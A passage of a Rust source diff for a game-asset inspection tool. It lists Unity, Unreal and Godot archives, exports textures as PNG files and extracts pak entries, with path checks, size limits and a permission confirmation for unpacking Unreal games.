return Err(ToolError::new(ErrorCode::OverLimit, format!("{len} bytes would be decompressed; the limit is {MAX_BUNDLE_READ}"))); + } + let end = start.saturating_add(len); + let (mut out, mut ustart, mut cstart) = (Vec::new(), 0u64, h.data_offset); + for (i, b) in blocks.iter().enumerate() { + let uend = ustart + u64::from(b.uncompressed_size); + if uend > start && ustart < end { + if cache.as_ref().is_none_or(|(at, _)| *at != i) { + let raw = read_at(file, path, cstart, u64::from(b.compressed_size))?; + let data = + unity_bundle::decompress(u32::from(b.flags & 0x3f), &raw, b.uncompressed_size).map_err(|e| format_err(e, "a Unity bundle's data"))?; + *cache = Some((i, data)); + } + let data = cache.as_ref().map_or(&[][..], |(_, d)| d.as_slice()); + let from = start.saturating_sub(ustart) as usize; + let to = (end.min(uend) - ustart) as usize; + out.extend_from_slice(data.get(from..to).unwrap_or_default()); + } + if uend >= end { + break; + } + ustart = uend; + cstart += u64::from(b.compressed_size); + } + Ok(out) +} + +/// The Unity version, object count and top classes of a serialized file inside a bundle. +fn bundle_objects( + file: &mut File, + path: &Path, + h: &unity_bundle::Header, + blocks: &[unity_bundle::Block], + node: &unity_bundle::Node, +) -> Result { + let mut cache = None; + let head = bundle_range(file, path, h, blocks, node.offset, (unity_serialized::HEADER_READ as u64).min(node.size), &mut cache)?; + let sh = unity_serialized::header(&head, node.size).map_err(|e| format_err(e, "a Unity serialized file"))?; + let meta = bundle_range(file, path, h, blocks, node.offset, sh.metadata_offset + sh.metadata_size, &mut cache)?; + let m = unity_serialized::metadata(&meta, &sh).map_err(|e| format_err(e, "a Unity serialized file"))?; + let classes: Vec = m.objects.iter().map(|o| unity_serialized::class_name(o.class_id)).collect(); + let mut by_class: Vec<(&str, u64)> = by_compression(classes.iter().map(String::as_str)).into_iter().collect(); + by_class.sort_by(|a, b| b.1.cmp(&a.1).then_with(|| a.0.cmp(b.0))); + Ok(json!({ + "unity_version": m.unity_version, + "object_count": m.objects.len(), + "by_class": by_class.iter().take(12).map(|(c, n)| json!({"class": c, "count": n})).collect::>(), + })) +} + +fn game_unity_bundle_list(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: ListParams = parse_params(params)?; + let path = PathBuf::from(&p.path); + if !path.is_absolute() { + return Err(ToolError::invalid(format!("{:?} is not an absolute path", p.path)).with_remediation("Pass the full path of the bundle.")); + } + let mut file = File::open(&path).map_err(|e| ToolError::io(path.display(), e))?; + let len = file.metadata().map_err(|e| ToolError::io(path.display(), e))?.len(); + let name = path.file_name().map(|n| n.to_string_lossy().into_owned()).unwrap_or_default(); + let head = read_at(&mut file, &path, 0, len.min(unity_bundle::HEADER_READ as u64))?; + let h = unity_bundle::header(&head, len).map_err(|e| match e { + craft_anything_formats::FormatError::Unsupported(why) => ToolError::unsupported(format!("{name} is a {why} bundle, which isn't read here.")), + _ => ToolError::unsupported(format!("{name} isn't a UnityFS bundle.")) + .with_remediation("Unity bundles are usually .bundle files under _Data/StreamingAssets, or data.unity3d."), + })?; + ctx.report(None, format!("Reading {name}")); + let table = read_at(&mut file, &path, h.table_offset, u64::from(h.table_size))?; + let (blocks, nodes) = unity_bundle::table(&table, &h).map_err(|e| format_err(e, "a Unity bundle's block table"))?; + let mut lims = Vec::new(); + let mut counted = BTreeMap::new(); + for node in nodes.iter().filter(|n| n.flags & 4 != 0).take(MAX_COUNTED) { + ctx.cancel.check()?; + match bundle_objects(&mut file, &path, &h, &blocks, node) { + Ok(v) => { + counted.insert(node.path.as_str(), v); + } + Err(e) => lims.push(Limitation::new("objects_unread", format!("{}'s objects couldn't be read: {}", node.path, e.message))), + } + } + let serialized_total = nodes.iter().filter(|n| n.flags & 4 != 0).count(); + if serialized_total > MAX_COUNTED { + lims.push(Limitation::new( + "files_unread", + format!( + "Only the first {MAX_COUNTED} of the bundle's {serialized_total} serialized files were read; pass `file` to game_unity_list for the others." + ), + )); + } + let matching = matching(&nodes, |n| n.path.as_str(), p.filter.as_deref()); + let page: Vec = matching + .iter() + .skip(p.offset) + .take(p.limit.clamp(1, 20_000)) + .map(|n| json!({"path": n.path, "size": n.size, "offset": n.offset, "serialized": n.flags & 4 != 0, "objects": counted.get(n.path.as_str())})) + .collect(); + let block_compression = by_compression(blocks.iter().map(|b| unity_bundle::compression_name(u32::from(b.flags & 0x3f)))); + let result = json!({ + "format_version": h.format_version, + "unity_version": h.unity_revision, + "table_compression": unity_bundle::compression_name(h.flags & 0x3f), + "block_count": blocks.len(), + "block_compression": block_compression, + "size": blocks.iter().map(|b| u64::from(b.uncompressed_size)).sum::(), + "stored_size": len, + "file_count": nodes.len(), + "matching": matching.len(), + "offset": p.offset, + "files": page, + }); + let objects: usize = counted.values().filter_map(|v| v["object_count"].as_u64()).sum::() as usize; + let at_least = if serialized_total > MAX_COUNTED { "at least " } else { "" }; + let summary = format!("{name}: a Unity {} bundle with {} file(s) and {at_least}{objects} object(s).", h.unity_revision, nodes.len()); + let shown_count = page.len() as u64; + let b = builder(ctx, "game_unity_bundle_list", Subject { kind: "archive".into(), sha256: None, name: Some(name) }, params_json(&p)) + .result(result) + .summary(summary) + .confidence(Confidence::Observed) + .limitations(lims) + .coverage(Coverage::page(shown_count, matching.len() as u64, p.offset as u64)) + .location(Location::new("path", p.path.clone())); + Ok(ToolOutput::evidence(b.build()?)) +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct ExportParams { + /// Absolute path of the .assets or level file, or of a bundle. + pub path: String, + /// For a bundle: the serialized file inside it (as game_unity_bundle_list shows); the first by default. + #[serde(default)] + pub file: Option, + /// The object's path id (game_unity_list shows them). + pub path_id: i64, + /// Where to write it: an absolute path that doesn't exist yet (its folders are made). + pub output: String, +} + +/// The largest picture taken out, in pixels (8192 × 8192). +const MAX_PIXELS: u64 = 8192 * 8192; + +/// A serialized file to read objects from: a file of its own, or one inside a bundle. +enum Serialized { + File { + file: File, + path: PathBuf, + len: u64, + }, + Bundle { + file: File, + path: PathBuf, + header: Box, + blocks: Vec, + nodes: Vec, + node: unity_bundle::Node, + cache: BlockCache, + }, +} + +impl Serialized { + fn open(raw: &str, inner: Option<&str>) -> Result { + let path = PathBuf::from(raw); + if !path.is_absolute() { + return Err(ToolError::invalid(format!("{raw:?} is not an absolute path")).with_remediation("Pass the full path of the .assets file or bundle.")); + } + let mut file = File::open(&path).map_err(|e| ToolError::io(path.display(), e))?; + let len = file.metadata().map_err(|e| ToolError::io(path.display(), e))?.len(); + let head = read_at(&mut file, &path, 0, len.min(unity_bundle::HEADER_READ as u64))?; + if !head.starts_with(unity_bundle::MAGIC) { + return Ok(Serialized::File { file, path, len }); + } + let header = unity_bundle::header(&head, len).map_err(|e| format_err(e, "a Unity bundle"))?; + let table = read_at(&mut file, &path, header.table_offset, u64::from(header.table_size))?; + let (blocks, nodes) = unity_bundle::table(&table, &header).map_err(|e| format_err(e, "a Unity bundle's block table"))?; + let node = match inner { + Some(want) => nodes.iter().find(|n| n.path.eq_ignore_ascii_case(want.trim())), + None => nodes.iter().find(|n| n.flags & 4 != 0), + } + .cloned() + .ok_or_else(|| { + ToolError::new(ErrorCode::NotFound, "That serialized file isn't in the bundle.").with_remediation("game_unity_bundle_list shows the files inside.") + })?; + Ok(Serialized::Bundle { file, path, header: Box::new(header), blocks, nodes, node, cache: None }) + } + + /// The serialized file's size. + fn len(&self) -> u64 { + match self { + Serialized::File { len, .. } => *len, + Serialized::Bundle { node, .. } => node.size, + } + } + + /// Bytes of the serialized file. + fn read(&mut self, offset: u64, len: u64) -> Result, ToolError> { + if offset.checked_add(len).is_none_or(|end| end > self.len()) { + return Err(damaged("an object lies outside its file")); + } + match self { + Serialized::File { file, path, .. } => read_at(file, path, offset, len), + Serialized::Bundle { file, path, header, blocks, node, cache, .. } => bundle_range(file, path, header, blocks, node.offset + offset, len, cache), + } + } + + /// Bytes of the file an object streams its data from (a `.resS` beside the file, or a file in + /// the same bundle). Only the stream path's last part is used, so it can't point elsewhere. + fn stream(&mut self, stream_path: &str, offset: u64, len: u64) -> Result, ToolError> { + let name = stream_path.rsplit(['/', '\\']).next().unwrap_or(stream_path); + match self { + Serialized::File { path, .. } => { + let other = path.with_file_name(name); + let mut file = File::open(&other).map_err(|e| ToolError::io(other.display(), e))?; + read_at(&mut file, &other, offset, len) + } + Serialized::Bundle { file, path, header, blocks, nodes, cache, .. } => { + let node = nodes.iter().find(|n| n.path == name).ok_or_else(|| damaged(format!("{name} isn't in the bundle")))?; + if offset.checked_add(len).is_none_or(|end| end > node.size) { + return Err(damaged(format!("data lies outside {name}"))); + } + bundle_range(file, path, header, blocks, node.offset + offset, len, cache) + } + } + } +} + +fn game_unity_asset_export(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: ExportParams = parse_params(params)?; + let out = new_output(&p.output)?; + let mut src = Serialized::open(&p.path, p.file.as_deref())?; + let head = src.read(0, src.len().min(unity_serialized::HEADER_READ as u64))?; + let h = unity_serialized::header(&head, src.len()).map_err(|e| format_err(e, "a Unity serialized file"))?; + let meta = src.read(0, h.metadata_offset + h.metadata_size)?; + let m = unity_serialized::metadata(&meta, &h).map_err(|e| format_err(e, "a Unity serialized file"))?; + let object = m.objects.iter().find(|o| o.path_id == p.path_id).ok_or_else(|| { + ToolError::new(ErrorCode::NotFound, format!("There's no object with path id {}.", p.path_id)) + .with_remediation("game_unity_list (or game_unity_bundle_list for a bundle) shows the objects and their path ids.") + })?; + if object.class_id != 28 { + return Err(ToolError::unsupported(format!( + "{} objects can't be taken out yet; textures (Texture2D) can.", + unity_serialized::class_name(object.class_id) + ))); + } + ctx.report(None, format!("Reading texture {}", p.path_id)); + let version = known_version(&m.unity_version, Path::new(&p.path)); + if stripped(&version) { + return Err(ToolError::unsupported("This file doesn't say which Unity version wrote it, so its textures' layout isn't known.") + .with_remediation("Pass a bundle that's inside the game's _Data folder, beside its globalgamemanagers file.")); + } + let bytes = src.read(object.offset, u64::from(object.size))?; + let t = unity_texture::parse(&bytes, &version, h.big_endian).map_err(|e| format_err(e, "a Unity texture"))?; + let format = unity_texture::format_name(t.format); + if u64::from(t.width) * u64::from(t.height) > MAX_PIXELS { + return Err(ToolError::new(ErrorCode::OverLimit, format!("{} is {}×{}; the limit is 8192×8192", t.name, t.width, t.height))); + } + let need = unity_texture::mip0_size(t.format, t.width, t.height) + .ok_or_else(|| ToolError::unsupported(format!("{} is a {format} texture, which isn't decoded here.", t.name)))? as u64; + let pixels = match (&t.inline, &t.stream) { + (Some((start, len)), _) => bytes.get(*start..*start + *len).map(<[u8]>::to_vec).unwrap_or_default(), + (None, Some(s)) => src.stream(&s.path, s.offset, need.min(u64::from(s.size)))?, + (None, None) => Vec::new(), + }; + let rgba = unity_texture::decode(t.format, t.width, t.height, &pixels).map_err(|e| format_err(e, "a Unity texture's pixels"))?; + let png = encode_png(&Image { width: t.width, height: t.height, rgba })?; + crate::project::write_atomic(&out, &png)?; + let sha256 = craft_anything_evidence::sha256_hex(&png); + let result = json!({ + "path_id": p.path_id, + "name": t.name, + "class": "Texture2D", + "width": t.width, + "height": t.height, + "format": format, + "streamed_from": t.stream.as_ref().map(|s| s.path.clone()), + "output": out.display().to_string(), + "size": png.len(), + "sha256": sha256, + }); + let name = Path::new(&p.path).file_name().map(|n| n.to_string_lossy().into_owned()); + let b = builder(ctx, "game_unity_asset_export", Subject { kind: "archive".into(), sha256: None, name }, params_json(&p)) + .result(result) + .summary(format!("Saved texture \"{}\" ({}×{}, {format}) as {}.", t.name, t.width, t.height, out.display())) + .confidence(Confidence::Observed) + .coverage(Coverage::complete(1)) + .location(Location::new("path", out.display().to_string())); + Ok(ToolOutput::evidence(b.build()?)) +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct UnrealTextureParams { + /// Absolute path of the game's .pak, or of a .uasset already taken out (its .uexp and .ubulk beside it). + pub path: String, + /// For a pak: the texture's .uasset path inside it, as game_pak_list shows it. + #[serde(default)] + pub file: Option, + /// Where to write the PNG: an absolute path that doesn't exist yet (its folders are made). + pub output: String, + /// The person made this game or has its rights holder's permission to unpack its files. + #[serde(default)] + pub permission: bool, +} + +/// Where a package's files come from. +enum PackageSource { + /// Inside a pak: the entries named `.` (`stem` lower case, as shown). + Pak { pak: Box, stem: String }, + /// Loose files: `.` on disk. + Loose { stem: PathBuf }, +} + +impl PackageSource { + /// One of the package's files, or None when it has none with that extension. + fn part(&mut self, extension: &str, cancel: &CancelToken) -> Result>, ToolError> { + match self { + PackageSource::Pak { pak, stem } => { + let want = format!("{stem}.{extension}"); + let Some(entry) = pak.files.iter().find(|e| shown(e).to_lowercase() == want).cloned() else { return Ok(None) }; + entry_bytes(pak, &entry, cancel).map(Some) + } + PackageSource::Loose { stem } => { + let file = stem.with_extension(extension); + if !file.is_file() { + return Ok(None); + } + let len = std::fs::metadata(&file).map_err(|e| ToolError::io(file.display(), e))?.len(); + let mut f = File::open(&file).map_err(|e| ToolError::io(file.display(), e))?; + read_at(&mut f, &file, 0, len).map(Some) + } + } + } +} + +fn game_unreal_texture_export(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: UnrealTextureParams = parse_params(params)?; + if !p.permission { + return Err(ToolError::new( + ErrorCode::ConsentRequired, + "Unpacking a game's files needs your confirmation that you may: you made the game, or its rights holder allows it.", + ) + .with_remediation("If that's so, ask again with permission set to true.")); + } + let out = new_output(&p.output)?; + let raw = PathBuf::from(&p.path); + if !raw.is_absolute() { + return Err(ToolError::invalid(format!("{:?} is not an absolute path", p.path)).with_remediation("Pass the full path of the .pak or .uasset file.")); + } + let cancel = ctx.cancel.clone(); + let loose = raw.extension().is_some_and(|x| x.eq_ignore_ascii_case("uasset")); + let (mut source, shown_name) = if loose { + let name = raw.file_name().map(|n| n.to_string_lossy().into_owned()).unwrap_or_default(); + (PackageSource::Loose { stem: raw.with_extension("") }, name) + } else { + let pak = open_pak(ctx, &p.path)?; + if pak.footer.encrypted_index { + return Err(ToolError::unsupported(format!("{}'s index is encrypted, so its files can't be found without the game's AES key.", pak.name))); + } + let file = p.file.as_deref().map(str::trim).filter(|f| !f.is_empty()).ok_or_else(|| { + ToolError::invalid("file is needed for a pak: the texture's .uasset path inside it") + .with_remediation("game_pak_list shows the paths; filter it by .uasset.") + })?; + let lower = file.trim_start_matches("../").to_lowercase(); + let stem = lower.strip_suffix(".uasset").or_else(|| lower.strip_suffix(".uexp")).unwrap_or(&lower).to_string(); + (PackageSource::Pak { pak: Box::new(pak), stem }, file.to_string()) + }; + ctx.report(None, format!("Reading {shown_name}")); + let missing = |ext: &str| { + ToolError::new(ErrorCode::NotFound, format!("There's no .{ext} for {shown_name}.")) + .with_remediation("A cooked texture is a .uasset with a .uexp beside it; game_pak_list shows what the pak holds.") + }; + let uasset = source.part("uasset", &cancel)?.ok_or_else(|| missing("uasset"))?; + let uexp = source.part("uexp", &cancel)?.ok_or_else(|| missing("uexp"))?; + let package = unreal_texture::package(&uasset).map_err(|e| format_err(e, "an Unreal package"))?; + let export = package.exports.iter().find(|e| e.class == "Texture2D").ok_or_else(|| { + let classes: Vec<&str> = package.exports.iter().map(|e| e.class.as_str()).collect(); + ToolError::unsupported(format!("{shown_name} isn't a texture (it holds {}).", classes.join(", "))) + })?; + let start = export.serial_offset.checked_sub(package.header_size).ok_or_else(|| damaged("a texture's data lies before its .uexp"))?; + let data = usize::try_from(start) + .ok() + .and_then(|s| uexp.get(s..s.checked_add(usize::try_from(export.serial_size).ok()?)?)) + .ok_or_else(|| damaged("a texture's data lies outside its .uexp"))?; + let texture = unreal_texture::texture(data, &package.names).map_err(|e| format_err(e, "an Unreal texture"))?; + let layout = unreal_texture::layout(&texture.pixel_format) + .ok_or_else(|| ToolError::unsupported(format!("{} is a {} texture, which isn't decoded here.", export.name, texture.pixel_format)))?; + // The largest mip whose pixels the game ships (bigger ones can be stripped or kept elsewhere). + let mut other: BTreeMap<&str, Option>> = BTreeMap::new(); + let mut chosen = None; + for (index, mip) in texture.mips.iter().enumerate() { + if u64::from(mip.width) * u64::from(mip.height) > MAX_PIXELS { + continue; + } + let bytes = match &mip.data { + unreal_texture::MipData::Inline(s, n) => data.get(*s..s.saturating_add(*n)).map(<[u8]>::to_vec), + unreal_texture::MipData::File { extension, offset, length } => { + if !other.contains_key(extension) { + let part = source.part(extension, &cancel)?; + other.insert(*extension, part); + } + other.get(extension).and_then(Option::as_ref).and_then(|f| { + let s = usize::try_from(*offset).ok()?; + f.get(s..s.checked_add(usize::try_from(*length).ok()?)?).map(<[u8]>::to_vec) + }) + } + unreal_texture::MipData::Missing => None, + }; + if let Some(bytes) = bytes { + let from = match &mip.data { + unreal_texture::MipData::File { extension, .. } => *extension, + _ => "uexp", + }; + chosen = Some((index, mip.clone(), bytes, from)); + break; + } + } + let (index, mip, bytes, from) = chosen.ok_or_else(|| { + ToolError::unsupported(format!("None of {}'s mips are stored where they can be read, or they're larger than 8192×8192.", export.name)) + })?; + let rgba = pixels::decode(layout, mip.width, mip.height, &bytes).map_err(|e| format_err(e, "an Unreal texture's pixels"))?; + let png = encode_png(&Image { width: mip.width, height: mip.height, rgba })?; + crate::project::write_atomic(&out, &png)?; + let mut lims = Vec::new(); + if (mip.width, mip.height) != (texture.width, texture.height) { + lims.push(Limitation::new( + "smaller_than_full", + format!("The game ships this texture at most {}×{}; its full {}×{} isn't stored.", mip.width, mip.height, texture.width, texture.height), + )); + } + let result = json!({ + "name": export.name, + "pixel_format": texture.pixel_format, + "width": texture.width, + "height": texture.height, + "saved": {"width": mip.width, "height": mip.height, "mip": index, "from": from}, + "output": out.display().to_string(), + "size": png.len(), + "sha256": craft_anything_evidence::sha256_hex(&png), + }); + let b = builder(ctx, "game_unreal_texture_export", Subject { kind: "archive".into(), sha256: None, name: Some(shown_name) }, params_json(&p)) + .result(result) + .summary(format!("Saved texture \"{}\" ({}×{}, {}) as {}.", export.name, mip.width, mip.height, texture.pixel_format, out.display())) + .confidence(Confidence::Observed) + .limitations(lims) + .coverage(Coverage::complete(1)) + .location(Location::new("path", out.display().to_string())); + Ok(ToolOutput::evidence(b.build()?)) +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct GameFolderParams { + /// Absolute path of the game's folder. + pub path: String, +} + +/// Folders deep and entries looked at when searching a game's folder. +const MAX_DEPTH: usize = 8; +const MAX_ENTRIES: usize = 20_000; + +/// Where a Godot pack starts in this file, when one does: at its start, or where a trailer at its +/// end says, as long as the pack's mark is really there. +fn godot_start(path: &Path) -> Option { + let mut f = File::open(path).ok()?; + let len = f.metadata().ok()?.len(); + let mark_at = + |f: &mut File, at: u64| len.checked_sub(at).filter(|left| *left >= 4).and_then(|_| read_at(f, path, at, 4).ok()).is_some_and(|m| m == godot_pck::MAGIC); + if mark_at(&mut f, 0) { + return Some(0); + } + let tail = read_at(&mut f, path, len.checked_sub(godot_pck::TRAILER_SIZE)?, godot_pck::TRAILER_SIZE).ok()?; + let start = godot_pck::trailer_start(&tail, len)?; + mark_at(&mut f, start).then_some(start) +} + +/// How many files a Godot pack declares (from its header and, for later formats, one more read). +fn godot_declared_files(path: &Path) -> Option { + let start = godot_start(path)?; + let mut f = File::open(path).ok()?; + let len = f.metadata().ok()?.len(); + let head = read_at(&mut f, path, start, len.checked_sub(start)?.min(godot_pck::HEADER_READ as u64)).ok()?; + let directory = start.checked_add(godot_pck::header(&head).ok()?.directory_offset?)?; + if directory.checked_add(4)? > len { + return None; + } + let count = read_at(&mut f, path, directory, 4).ok()?; + Some(u64::from(u32::from_le_bytes(count.try_into().ok()?))) +} + +/// What kind of archive a file is, and the tool that lists it; None when it isn't one. +fn archive_kind(path: &Path) -> Option<(&'static str, &'static str)> { + let name = path.file_name()?.to_string_lossy().to_lowercase(); + let ext = path.extension().map(|e| e.to_string_lossy().to_lowercase()).unwrap_or_default(); + let head = |n: u64| -> Option> { + let mut f = File::open(path).ok()?; + let len = f.metadata().ok()?.len(); + let at = if n > 0 { 0 } else { len.saturating_sub(unreal_pak::FOOTER_READ as u64) }; + let n = if n > 0 { n.min(len) } else { len - at }; + read_at(&mut f, path, at, n).ok() + }; + match ext.as_str() { + // Chromium's .pak files share the extension: an Unreal pak has its footer. + "pak" => { + let len = std::fs::metadata(path).ok()?.len(); + unreal_pak::footer(&head(0)?, len).ok().map(|_| ("unreal_pak", "game_pak_list")) + } + "utoc" => Some(("unreal_iostore", "game_iostore_list")), + "bundle" | "unity3d" => head(8).filter(|h| h.starts_with(unity_bundle::MAGIC)).map(|_| ("unity_bundle", "game_unity_bundle_list")), + "assets" => Some(("unity_assets", "game_unity_list")), + "pck" => head(godot_pck::MAGIC.len() as u64).filter(|h| h.starts_with(godot_pck::MAGIC)).map(|_| ("godot_pck", "core_packed_files_list")), + // A Godot game can carry its pack at the end of its program. + "exe" | "x86_64" | "x86_32" | "x86" | "arm64" | "arm32" => godot_start(path).map(|_| ("godot_pck", "core_packed_files_list")), + "" if name == "globalgamemanagers" || name.strip_prefix("level").is_some_and(|n| !n.is_empty() && n.bytes().all(|b| b.is_ascii_digit())) => { + Some(("unity_assets", "game_unity_list")) + } + _ => None, + } +} + +fn game_archives_list(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: GameFolderParams = parse_params(params)?; + let root = PathBuf::from(&p.path); + if !root.is_absolute() || !root.is_dir() { + return Err(ToolError::invalid(format!("{:?} isn't a folder", p.path)).with_remediation("Pass the full path of the game's folder.")); + } + ctx.report(None, format!("Looking through {}", root.display())); + let (mut archives, mut seen, mut stack) = (Vec::new(), 0usize, vec![(root.clone(), 0usize)]); + while let Some((dir, depth)) = stack.pop() { + ctx.cancel.check()?; + let Ok(entries) = std::fs::read_dir(&dir) else { continue }; + for entry in entries.flatten() { + seen += 1; + if seen > MAX_ENTRIES { + break; + } + let Ok(kind) = entry.file_type() else { continue }; + let path = entry.path(); + if kind.is_dir() && depth < MAX_DEPTH { + stack.push((path, depth + 1)); + } else if kind.is_file() + && let Some((archive, tool)) = archive_kind(&path) + { + let size = entry.metadata().map(|m| m.len()).unwrap_or(0); + let shown = path.strip_prefix(&root).unwrap_or(&path).display().to_string(); + let mut row = json!({"path": path.display().to_string(), "name": shown, "kind": archive, "size": size, "list_tool": tool}); + if archive == "godot_pck" { + row["declared_files"] = json!(godot_declared_files(&path)); + } + archives.push(row); + } + } + if seen > MAX_ENTRIES { + break; + } + } + archives.sort_by(|a, b| a["kind"].as_str().cmp(&b["kind"].as_str()).then(b["size"].as_u64().cmp(&a["size"].as_u64()))); + let has = |prefix: &str| archives.iter().any(|a| a["kind"].as_str().is_some_and(|k| k.starts_with(prefix))); + let found: Vec<(&str, &str)> = [("unreal", "Unreal"), ("unity", "Unity"), ("godot", "Godot")].into_iter().filter(|(id, _)| has(id)).collect(); + let engine = match found.as_slice() { + [] => "none", + [(id, _)] => id, + _ => "mixed", + }; + let truncated = seen > MAX_ENTRIES; + let name = root.file_name().map(|n| n.to_string_lossy().into_owned()).unwrap_or_default(); + let summary = if found.is_empty() { + format!("{name}: no Unreal, Unity or Godot archives found.") + } else { + format!("{name}: {} {} archive(s).", archives.len(), found.iter().map(|(_, title)| *title).collect::>().join(" and ")) + }; + let mut lims = Vec::new(); + if truncated { + lims.push(Limitation::new("entries_capped", format!("Only the first {MAX_ENTRIES} files and folders were looked at."))); + } + let shown_count = archives.len() as u64; + let b = builder(ctx, "game_archives_list", Subject { kind: "folder".into(), sha256: None, name: Some(name) }, params_json(&p)) + .result(json!({"folder": root.display().to_string(), "engine": engine, "archives": archives, "truncated": truncated})) + .summary(summary) + .confidence(Confidence::Observed) + .limitations(lims) + .coverage(if truncated { super::static_input::partial(shown_count) } else { Coverage::complete(shown_count) }) + .location(Location::new("path", p.path.clone())); + Ok(ToolOutput::evidence(b.build()?)) +} + +fn damaged(what: impl Into) -> ToolError { + ToolError::new(ErrorCode::NotSupported, format!("The pak looks damaged: {}", what.into())) + .with_remediation("Check the game's files (Steam: Verify integrity).") +} + +/// A new output file's path: absolute, not there yet, in a folder that is. +fn new_output(raw: &str) -> Result { + let out = PathBuf::from(raw); + if !out.is_absolute() { + return Err(ToolError::invalid("output must be an absolute path")); + } + if out.exists() { + return Err(ToolError::invalid(format!("{} already exists", out.display())).with_remediation("Pick a new file name; nothing is overwritten.")); + } + let dir = out.parent().ok_or_else(|| ToolError::invalid(format!("{} has no folder", out.display())))?; + std::fs::create_dir_all(dir).map_err(|e| ToolError::io(dir.display(), e))?; + Ok(out) +} + +/// `rel` (a pak path, `/`-separated) under `root`, or None when a part could climb out or name a drive. +fn inside(root: &Path, rel: &str) -> Option { + let mut out = root.to_path_buf(); + for part in rel.split('/') { + if part.is_empty() || part == "." || part == ".." || part.contains(['\\', ':']) { + return None; + } + out.push(part); + } + Some(out) +} + +/// Whether a pak entry can be read here, and whether it's zlib-compressed. +fn readable(e: &Entry) -> Result { + let file = shown(e); + if e.encrypted { + return Err(ToolError::unsupported(format!("{file} is encrypted with the game's AES key; it can't be taken out without it."))); + } + let method = e.compression.to_lowercase(); + if method != "none" && method != "zlib" { + let oodle = if method.contains("oodle") { " Oodle is a commercial library the game ships; REI Reverse Engineer doesn't run it." } else { "" }; + return Err(ToolError::unsupported(format!("{file} is compressed with {}, which isn't supported here.{oodle}", e.compression))); + } + Ok(method == "zlib") +} + +/// A pak entry's bytes, in memory. +fn entry_bytes(pak: &mut Pak, e: &Entry, cancel: &CancelToken) -> Result, ToolError> { + let zlib = readable(e)?; + if e.uncompressed_size > MAX_INDEX { + return Err(ToolError::new(ErrorCode::OverLimit, format!("{} is {} bytes; the limit is {MAX_INDEX}", shown(e), e.uncompressed_size))); + } + let mut sink = Sink { file: Vec::with_capacity(e.uncompressed_size as usize), hash: Default::default(), written: 0 }; + copy_entry(pak, e, zlib, &mut sink, Path::new(&e.path), cancel)?; + Ok(sink.file) +} + +/// Where a file being taken out goes: its bytes, counted and hashed as they're written. +struct Sink { + file: W, + hash: sha2::Sha256, + written: u64, +} + +impl Sink { + fn put(&mut self, bytes: &[u8], out: &Path) -> Result<(), ToolError> { + use sha2::Digest; + self.file.write_all(bytes).map_err(|e| ToolError::io(out.display(), e))?; + self.hash.update(bytes); + self.written += bytes.len() as u64; + Ok(()) + } +} + +/// Copy `e` out of the pak into `sink`: stored bytes as they are, zlib blocks inflated. +fn copy_entry(pak: &mut Pak, e: &Entry, zlib: bool, sink: &mut Sink, out: &Path, cancel: &CancelToken) -> Result<(), ToolError> { + if zlib { + for &(start, end) in &e.blocks { + cancel.check()?; + if start > end || end > pak.len || end - start > MAX_BLOCK { + return Err(damaged(format!("a block of {} lies outside it", shown(e)))); + } + let raw = read_at(&mut pak.file, &pak.path, start, end - start)?; + let room = e.uncompressed_size.saturating_sub(sink.written); + let block = craft_anything_formats::firmware::inflate(&raw, true, room, true) + .map_err(|err| damaged(format!("a block of {} didn't inflate ({err})", shown(e))))?; + sink.put(&block.data.unwrap_or_default(), out)?; + } + } else { + if e.data_start.checked_add(e.size).is_none_or(|end| end > pak.len) { + return Err(damaged(format!("{} lies outside it", shown(e)))); + } + pak.file.seek(SeekFrom::Start(e.data_start)).map_err(|err| ToolError::io(pak.path.display(), err))?; + let mut buf = vec![0u8; 1 << 20]; + let mut left = e.size; + while left > 0 { + cancel.check()?; + let n = left.min(buf.len() as u64) as usize; + pak.file.read_exact(&mut buf[..n]).map_err(|err| ToolError::io(pak.path.display(), err))?; + sink.put(&buf[..n], out)?; + left -= n as u64; + } + } + if sink.written != e.uncompressed_size { + return Err(damaged(format!("{} came out as {} bytes; its entry says {}", shown(e), sink.written, e.uncompressed_size))); + } + Ok(()) +} + +fn game_pak_extract(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: ExtractParams = parse_params(params)?; + if p.file.trim().ends_with('/') { + return extract_folder(ctx, p); + } + let out = new_output(&p.output)?; + let mut pak = open_pak(ctx, &p.path)?; + if pak.footer.encrypted_index { + return Err(encrypted_index(&pak)); + } + let want = p.file.trim().trim_start_matches("../").to_lowercase(); + let entry = pak.files.iter().find(|e| shown(e).to_lowercase() == want).cloned().ok_or_else(|| { + ToolError::new(ErrorCode::NotFound, format!("There's no {} in {}.", p.file.trim(), pak.name)) + .with_remediation("game_pak_list shows the paths inside; its filter narrows them.") + })?; + let file = shown(&entry).to_string(); + ctx.report(None, format!("Taking {file} out of {}", pak.name)); + let (size, sha256) = take_out(&mut pak, &entry, &out, &ctx.cancel.clone())?; + let result = json!({"file": file, "output": out.display().to_string(), "size": size, "sha256": sha256, "compression": entry.compression}); + let b = builder(ctx, "game_pak_extract", Subject { kind: "archive".into(), sha256: None, name: Some(pak.name.clone()) }, params_json(&p)) + .result(result) + .summary(format!("Took {file} ({size} bytes) out of {} into {}.", pak.name, out.display())) + .confidence(Confidence::Observed) + .coverage(Coverage::complete(1)) + .location(Location::new("path", out.display().to_string())); + Ok(ToolOutput::evidence(b.build()?)) +} + +fn encrypted_index(pak: &Pak) -> ToolError { + ToolError::unsupported(format!("{}'s index is encrypted, so its files can't be found without the game's AES key.", pak.name)) +} + +/// Write `e` into the new file `out`; returns its size and SHA-256. A failed copy leaves nothing behind. +fn take_out(pak: &mut Pak, e: &Entry, out: &Path, cancel: &CancelToken) -> Result<(u64, String), ToolError> { + let zlib = readable(e)?; + let target = std::fs::OpenOptions::new().write(true).create_new(true).open(out).map_err(|err| ToolError::io(out.display(), err))?; + let mut sink = Sink { file: target, hash: Default::default(), written: 0 }; + if let Err(err) = copy_entry(pak, e, zlib, &mut sink, out, cancel) { + drop(sink); + let _ = std::fs::remove_file(out); + return Err(err); + } + use sha2::Digest; + Ok((sink.written, hex::encode(sink.hash.finalize()))) +} + +const 